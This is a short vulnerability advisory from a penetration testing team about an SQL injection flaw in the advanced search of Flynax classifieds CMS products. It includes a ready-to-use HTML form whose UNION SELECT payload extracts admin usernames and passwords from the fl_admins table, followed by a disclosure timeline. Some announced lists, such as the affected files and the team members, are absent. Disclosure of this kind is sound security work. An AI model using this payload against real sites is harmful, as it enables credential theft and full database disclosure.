Flynax is a software development company which produces several CMSs to mantain
different kinds of classifieds websites.
Nasel members discovered a critical vulnerability in the front-end of
these products.
The vulnerability is an SQL injection in the advanced search,
specifically in the "f[city]" parameter located at following files:
Exploiting this vulnerability can lead to a full disclosure of the database.
<form action="http://site/path/dealers.html" method="post">
Injection:<input value="') and 1=0 union all select
1,2,3,4,concat_ws(0x3a, User,
Pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from
fl_admins#" name="f[city]" type="text">
<input type="hidden" name="search" value="true">
<input type="hidden" value="" name="f[country]">
<input type="submit" value="Send">
</form>
The name of the admin users table can differ depending on the product's version.
This vulnerability was found by the Nasel Penetration Testing team formed by:
Vulnerability Found. Vendor notification. Scheduled advisory release
on September 25th, 2011.
Vendor replied that the problem was fixed.
Advisory released.
–
Nasel Penetration Testing Team
http://www.nasel.com.ar